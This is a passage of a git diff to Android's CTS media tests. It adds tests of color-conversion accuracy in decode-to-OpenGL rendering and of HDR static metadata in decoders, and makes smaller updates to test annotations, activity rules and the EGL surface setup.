+                pts += mNumBytesSubmitted * 1000000L / (mBytesPerSample * mChannels * mSampleRate);
                 size = Math.min(inputBuffer.capacity(), mInputData.length - mNumBytesSubmitted);
+                assertTrue(size % (mBytesPerSample * mChannels) == 0);
                 inputBuffer.put(mInputData, mNumBytesSubmitted, size);
                 if (mNumBytesSubmitted + size >= mInputData.length && mSignalEOSWithLastFrame) {
                     flags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
@@ -1641,8 +2048,8 @@
                 mNumBytesSubmitted += size;
             } else {
                 pts += mInputCount * 1000000L / mFrameRate;
-                size = mWidth * mHeight * 3 / 2;
-                int frmSize = INP_FRM_WIDTH * INP_FRM_HEIGHT * 3 / 2;
+                size = mBytesPerSample * mWidth * mHeight * 3 / 2;
+                int frmSize = mBytesPerSample * INP_FRM_WIDTH * INP_FRM_HEIGHT * 3 / 2;
                 if (mNumBytesSubmitted + frmSize > mInputData.length) {
                     fail("received partial frame to encode");
                 } else {
diff --git a/tests/media/src/android/mediav2/cts/CodecUnitTest.java b/tests/media/src/android/mediav2/cts/CodecUnitTest.java
index 3901b88..803b144 100644
--- a/tests/media/src/android/mediav2/cts/CodecUnitTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecUnitTest.java
@@ -23,6 +23,7 @@
 import android.os.Bundle;
 import android.util.Pair;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 
 import org.junit.After;
@@ -49,6 +50,10 @@
     static final long STALL_TIME_MS = 1000;
 
     @SmallTest
+    // Following tests were added in Android R and are not limited to c2.android.* codecs.
+    // Hence limit the tests to Android R and above and also annotate as NonMediaMainlineTest
+    @SdkSuppress(minSdkVersion = 30)
+    @NonMediaMainlineTest
     public static class TestApi extends CodecTestBase {
         @Rule
         public Timeout timeout = new Timeout(PER_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
@@ -1964,6 +1969,10 @@
     }
 
     @SmallTest
+    // Following tests were added in Android R and are not limited to c2.android.* codecs.
+    // Hence limit the tests to Android R and above and also annotate as NonMediaMainlineTest
+    @SdkSuppress(minSdkVersion = 30)
+    @NonMediaMainlineTest
     public static class TestApiNative {
         @Rule
         public Timeout timeout = new Timeout(PER_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
new file mode 100644
index 0000000..96836e6
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -0,0 +1,385 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaFormat;
+import android.opengl.GLES20;
+import android.util.Log;
+
+import androidx.test.filters.LargeTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * Validates the correctness of color conversion in the decode followed by OpenGL
+ * rendering scenarios. The input video files fed to the decoders contain the pixel
+ * data in compressed YUV format. The output of the decoders is shared with OpenGL
+ * as external textures. And OpenGL outputs RGB pixels. The class validates whether
+ * the conversion of input YUV to output RGB is in accordance with the chosen color
+ * aspects. Video files used in the test do not have any color aspects info coded in
+ * the bitstreams
+ */
+@RunWith(Parameterized.class)
+public class DecodeGlAccuracyTest extends CodecDecoderTestBase {
+    private static final String LOG_TAG = DecodeGlAccuracyTest.class.getSimpleName();
+
+    // Allowed color tolerance to account for differences in the conversion process
+    private static final int ALLOWED_COLOR_DELTA = 8;
+
+    // The test video assets were generated with a set of color bars.
+    // Depending on the color aspects, the values from OpenGL pbuffer
+    // should not differ from the reference color values for the
+    // given color aspects below by more than the allowed tolerance.
+    //
+    // The reference RGB values were computed using the process described below.
+    //
+    // RGB = Transpose(FLOOR_CLIP_PIXEL(CONV_CSC * (Transpose(YUV) - LVL_OFFSET)))
+    // The matrices LVL_OFFSET and CONV_CSC for different color aspects are below.
+    //
+    // YUV values in the 8bit color bar test videos are in COLOR_BARS_YUV below
+    //
+    // The color conversion matrices (CONV_CSC) for the RGB equation above:
+    // MULTIPLY_ROW_WISE_LR = Transpose({255/219, 255/224, 255/224})
+    // CONV_FLOAT_601_FR =
+    //     {{1, 0, 1.402},
+    //      {1, -0.344136, -0.714136},
+    //      {1, 1.772, 0},}
+    // CONV_FLOAT_709_FR =
+    //     {{1, 0, 1.5748},
+    //      {1, -0.1873, -0.4681},
+    //      {1, 1.8556, 0},}
+    // CONV_FLOAT_601_LR = MULTIPLY_ROW_WISE_LR . CONV_FLOAT_601_FR
+    // CONV_FLOAT_709_LR = MULTIPLY_ROW_WISE_LR . CONV_FLOAT_709_FR
+    //
+    // The level shift matrices (LVL_OFFSET) for the RGB equation above:
+    // LVL_OFFSET_LR = Transpose({16, 128, 128})
+    // LVL_OFFSET_FR = Transpose({0, 128, 128})
+
+    private static final int[][] COLOR_BARS_YUV = new int[][]{
+            {126, 191, 230},
+            {98, 104, 204},
+            {180, 20, 168},
+            {121, 109, 60},
+            {114, 179, 172},
+            {133, 138, 118},
+            {183, 93, 153},
+            {203, 20, 33},
+            {147, 131, 183},
+            {40, 177, 202},
+            {170, 82, 96},
+    };
+
+    // Reference RGB values for 601 Limited Range
+    private static final int[][] COLOR_BARS_601LR = new int[][]{
+            {255, 17, 252},
+            {219, 40, 44},
+            {255, 196, 0},
+            {11, 182, 81},
+            {185, 55, 214},
+            {119, 137, 153},
+            {235, 183, 119},
+            {62, 255, 0},
+            {242, 103, 155},
+            {148, 0, 126},
+            {127, 219, 82},
+    };
+    // Reference RGB values for 601 Full Range
+    private static final int[][] COLOR_BARS_601FR = new int[][]{
+            {255, 31, 237},
+            {204, 51, 55},
+            {236, 188, 0},
+            {25, 176, 87},
+            {175, 65, 204},
+            {118, 136, 150},
+            {218, 177, 120},
+            {69, 255, 11},
+            {224, 106, 152},
+            {143, 0, 126},
+            {125, 208, 88},
+    };
+    // Reference RGB values for 709 Limited Range
+    private static final int[][] COLOR_BARS_709LR = new int[][]{
+            {255, 57, 255},
+            {234, 57, 42},
+            {255, 188, 0},
+            {0, 159, 79},
+            {194, 77, 219},
+            {117, 136, 154},
+            {240, 184, 116},
+            {43, 255, 0},
+            {253, 119, 155},
+            {163, 0, 130},
+            {120, 202, 78},
+    };
+
+    // The test videos were generated with the above color bars. Each bar is of width 16.
+    private static final int COLOR_BAR_WIDTH = 16;
+    private static final int COLOR_BAR_OFFSET_X = 8;
+    private static final int COLOR_BAR_OFFSET_Y = 64;
+
+    private int[][] mColorBars;
+
+    private final String mCompName;
+    private final String mFileName;
+    private int mWidth;
+    private int mHeight;
+    private final int mRange;
+    private final int mStandard;
+    private final int mTransferCurve;
+    private final boolean mUseYuvSampling;
+
+    private OutputSurface mEGLWindowOutSurface;
+    private int mBadFrames = 0;
+
+    public DecodeGlAccuracyTest(String decoder, String mediaType, String fileName, int range,
+            int standard, int transfer, boolean useYuvSampling) {
+        super(null, mediaType, null);
+        mCompName = decoder;
+        mFileName = fileName;
+        mRange = range;
+        mStandard = standard;
+        mTransferCurve = transfer;
+        mUseYuvSampling = useYuvSampling;
+
+        if (!mUseYuvSampling) {
+            mColorBars = COLOR_BARS_601LR;
+            if ((mStandard == MediaFormat.COLOR_STANDARD_BT601_NTSC) &&
+                    (mRange == MediaFormat.COLOR_RANGE_LIMITED)) {
+                mColorBars = COLOR_BARS_601LR;
+            } else if ((mStandard == MediaFormat.COLOR_STANDARD_BT601_NTSC) &&
+                    (mRange == MediaFormat.COLOR_RANGE_FULL)) {
+                mColorBars = COLOR_BARS_601FR;
+            } else if ((mStandard == MediaFormat.COLOR_STANDARD_BT709) &&
+                    (mRange == MediaFormat.COLOR_RANGE_LIMITED)) {
+                mColorBars = COLOR_BARS_709LR;
+            } else {
+                Log.e(LOG_TAG, "Unsupported Color Aspects.");
+            }
+        } else {
+            mColorBars = COLOR_BARS_YUV;
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{3}_{4}_{5}_{6})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+
+        final List<Object[]> argsList = Arrays.asList(new Object[][]{
+                // mediaType, asset, range, standard, transfer
+                // 601LR
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                // 601FR
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit_fr.mp4",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit_fr.mp4",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit_fr.webm",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit_fr.webm",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit_fr.webm",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                // 709LR
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                // Note: OpenGL is not required to support 709 FR. So we are not testing it.
+        });
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>();
+        for (Object[] arg : argsList) {
+            int argLength = argsList.get(0).length;
+            boolean[] boolStates = {true, false};
+            for (boolean useYuvSampling : boolStates) {
+                Object[] testArgs = new Object[argLength + 1];
+                System.arraycopy(arg, 0, testArgs, 0, argLength);
+                testArgs[argLength] = useYuvSampling;
+                exhaustiveArgsList.add(testArgs);
+            }
+        }
+        return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
+                false);
+    }
+
+    boolean isColorClose(int actual, int expected) {
+        int delta = Math.abs(actual - expected);
+        return (delta <= ALLOWED_COLOR_DELTA);
+    }
+
+    private boolean checkSurfaceFrame(int frameIndex) {
+        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4);
+        boolean frameFailed = false;
+        for (int i = 0; i < mColorBars.length; i++) {
+            int x = COLOR_BAR_WIDTH * i + COLOR_BAR_OFFSET_X;
+            int y = COLOR_BAR_OFFSET_Y;
+            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+            int r = pixelBuf.get(0) & 0xff;
+            int g = pixelBuf.get(1) & 0xff;
+            int b = pixelBuf.get(2) & 0xff;
+            if (!(isColorClose(r, mColorBars[i][0]) &&
+                    isColorClose(g, mColorBars[i][1]) &&
+                    isColorClose(b, mColorBars[i][2]))) {
+                Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
+                        r + "," + g + "," + b + " vs. expected " + mColorBars[i][0] +
+                        "," + mColorBars[i][1] + "," + mColorBars[i][2] + ")");
+                frameFailed = true;
+            }
+        }
+        return frameFailed;
+    }
+
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawOutputEOS = true;
+        }
+        if (ENABLE_LOGS) {
+            Log.v(LOG_TAG, "output: id: " + bufferIndex + " flags: " + info.flags + " size: " +
+                    info.size + " timestamp: " + info.presentationTimeUs);
+        }
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mOutputBuff.saveOutPTS(info.presentationTimeUs);
+            mOutputCount++;
+        }
+        mCodec.releaseOutputBuffer(bufferIndex, mSurface != null);
+        if (info.size > 0) {
+            mEGLWindowOutSurface.awaitNewImage();
+            mEGLWindowOutSurface.drawImage();
+            if (checkSurfaceFrame(mOutputCount - 1)) mBadFrames++;
+        }
+    }
+
+    /**
+     * The test decodes video assets with color bars and outputs frames to OpenGL input surface.
+     * The OpenGL fragment shader reads the frame buffers as externl textures and renders to
+     * a pbuffer. The output RGB values are read and compared against the expected values.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException {
+        if (mRange != MediaFormat.COLOR_RANGE_LIMITED
+                || mStandard != MediaFormat.COLOR_STANDARD_BT601_NTSC) {
+            // This test was added in Android T, but some upgrading devices fail the test. Hence
+            // limit the test to devices launching with T
+            assumeTrue("Skipping color range " + mRange + " and color standard " + mStandard +
+                            " for devices upgrading to T",
+                    FIRST_SDK_IS_AT_LEAST_T);
+
+            // TODO (b/219748700): Android software codecs work only with 601LR. Skip for now.
+            assumeTrue("Skipping " + mCompName + " for color range " + mRange
+                            + " and color standard " + mStandard,
+                    isVendorCodec(mCompName));
+        }
+
+        MediaFormat format = setUpSource(mFileName);
+
+        // Set color parameters
+        format.setInteger(MediaFormat.KEY_COLOR_RANGE, mRange);
+        format.setInteger(MediaFormat.KEY_COLOR_STANDARD, mStandard);
+        format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, mTransferCurve);
+
+        // Set the format to surface mode
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+
+        mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+        mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling);
+        mSurface = mEGLWindowOutSurface.getSurface();
+
+        mCodec = MediaCodec.createByCodecName(mCompName);
+        configureCodec(format, true, true, false);
+        mOutputBuff = new OutputManager();
+        mCodec.start();
+        doWork(Integer.MAX_VALUE);
+        queueEOS();
+        waitForAllOutputs();
+        validateColorAspects(mCodec.getOutputFormat(), mRange, mStandard, mTransferCurve);
+        mCodec.stop();
+        mCodec.release();
+        mEGLWindowOutSurface.release();
+
+        assertTrue("color difference exceeds allowed tolerance in " + mBadFrames + " out of " +
+                mOutputCount + " frames", 0 == mBadFrames);
+    }
+}
+
diff --git a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
index f7466b0..4ffa782 100644
--- a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
@@ -18,10 +18,12 @@
 
 import android.media.MediaFormat;
 
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
 import androidx.test.filters.SmallTest;
-import androidx.test.rule.ActivityTestRule;
 
+import org.junit.After;
 import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -40,6 +42,7 @@
     private final int mColorStandard;
     private final int mColorTransferCurve;
     private final boolean mCanIgnoreColorBox;
+
     private ArrayList<String> mCheckESList;
 
     public DecoderColorAspectsTest(String decoderName, String mime, String testFile, int range,
@@ -51,10 +54,10 @@
         mCheckESList = new ArrayList<>();
         mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
         mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
-        /* TODO (b/165492703) Mpeg2 and (b/165787556) AV1 has problems in signalling color
+        /* TODO (b/165492703) Mpeg2 has problems in signalling color
             aspects information via elementary stream. */
         // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_MPEG2);
-        // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
         mCanIgnoreColorBox = canIgnoreColorBox;
     }
 
@@ -235,8 +238,19 @@
     }
 
     @Rule
-    public ActivityTestRule<CodecTestActivity> mActivityRule =
-            new ActivityTestRule<>(CodecTestActivity.class);
+    public ActivityScenarioRule<CodecTestActivity> mActivityRule =
+            new ActivityScenarioRule<>(CodecTestActivity.class);
+
+    @Before
+    public void setUp() throws IOException, InterruptedException {
+        mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
+        setUpSurface(mActivity);
+    }
+
+    @After
+    public void tearDown() {
+        tearDownSurface();
+    }
 
     @SmallTest
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
@@ -249,9 +263,7 @@
         if (doesAnyFormatHaveHDRProfile(mMime, formats)) {
             Assume.assumeTrue(canDisplaySupportHDRContent());
         }
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
-        activity.setScreenParams(getWidth(format), getHeight(format), true);
+        mActivity.setScreenParams(getWidth(format), getHeight(format), true);
         {
             validateColorAspects(mCodecName, mInpPrefix, mTestFile, mColorRange, mColorStandard,
                     mColorTransferCurve, false);
@@ -262,6 +274,5 @@
                         mColorStandard, mColorTransferCurve, true);
             }
         }
-        tearDownSurface();
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
new file mode 100644
index 0000000..3dd28aa
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaFormat;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test to validate hdr static metadata in decoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+    private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
+    private static final String HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+    private static final String HDR_STATIC_INCORRECT_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+
+    private final ByteBuffer mHDRStaticInfoStream;
+    private final ByteBuffer mHDRStaticInfoContainer;
+
+    public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
+                              String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+        super(codecName, mediaType, testFile);
+        mHDRStaticInfoStream = hdrStaticInfoStream != null ?
+                ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+        mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
+                ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+                {MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
+                        HDR_STATIC_INFO, null},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
+                        null, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+                        null, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1,
+                        "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1,
+                        "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
+                        HDR_STATIC_INFO, null},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
+                        null, HDR_STATIC_INFO},
+        });
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testHDRMetadata() throws IOException, InterruptedException {
+        int[] Hdr10Profiles = mProfileHdr10Map.get(mMime);
+        Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
+                Hdr10Profiles);
+        MediaFormat format = setUpSource(mTestFile);
+        mExtractor.release();
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+
+        // When HDR metadata isn't present in the container, but included in the bitstream,
+        // extractors may not be able to populate HDR10/HDR10+ profiles correctly.
+        // In such cases, override the profile
+        if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) {
+            int profile = Hdr10Profiles[0];
+            format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        }
+        Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+
+        if (mHDRStaticInfoContainer != null) {
+            validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
+        }
+
+        validateHDRStaticMetaData(mInpPrefix, mTestFile,
+                mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
+                false);
+        if (mHDRStaticInfoStream != null) {
+            if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
+                validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
+            }
+        }
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
index 7b30812..2c2bd17 100644
--- a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
+++ b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
@@ -47,7 +47,7 @@
     /**
      * Prepares EGL.  We want a GLES 2.0 context and a surface that supports recording.
      */
-    private void eglSetup() {
+    private void eglSetup(boolean useHighBitDepth) {
         mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
         if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
             throw new RuntimeException("unable to get EGL14 display");
@@ -60,12 +60,16 @@
 
         // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
         // to minimize artifacts from possible YUV conversion.
+        int eglColorSize = useHighBitDepth ? 10: 8;
+        int eglAlphaSize = useHighBitDepth ? 2: 0;
+        int recordable = useHighBitDepth ? 0: 1;
         int[] attribList = {
-                EGL14.EGL_RED_SIZE, 8,
-                EGL14.EGL_GREEN_SIZE, 8,
-                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RED_SIZE, eglColorSize,
+                EGL14.EGL_GREEN_SIZE, eglColorSize,
+                EGL14.EGL_BLUE_SIZE, eglColorSize,
+                EGL14.EGL_ALPHA_SIZE, eglAlphaSize,
                 EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                EGLExt.EGL_RECORDABLE_ANDROID, 1,
+                EGLExt.EGL_RECORDABLE_ANDROID, recordable,
                 EGL14.EGL_NONE
         };
         int[] numConfigs = new int[1];
@@ -124,13 +128,13 @@
     /**
      * Creates an InputSurface from a Surface.
      */
-    public EGLWindowSurface(Surface surface) {
+    public EGLWindowSurface(Surface surface, boolean useHighBitDepth) {
         if (surface == null) {
             throw new NullPointerException();
         }
         mSurface = surface;
 
-        eglSetup();
+        eglSetup(useHighBitDepth);
     }
 
     /**
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
index 528b417..dcb44b1 100644
--- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -21,12 +21,15 @@
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
 import android.opengl.GLES20;
+import android.opengl.GLES30;
 import android.util.Log;
 import android.util.Pair;
 import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
 
+import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -41,7 +44,10 @@
 
 import javax.microedition.khronos.opengles.GL10;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_Format32bitABGR2101010;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
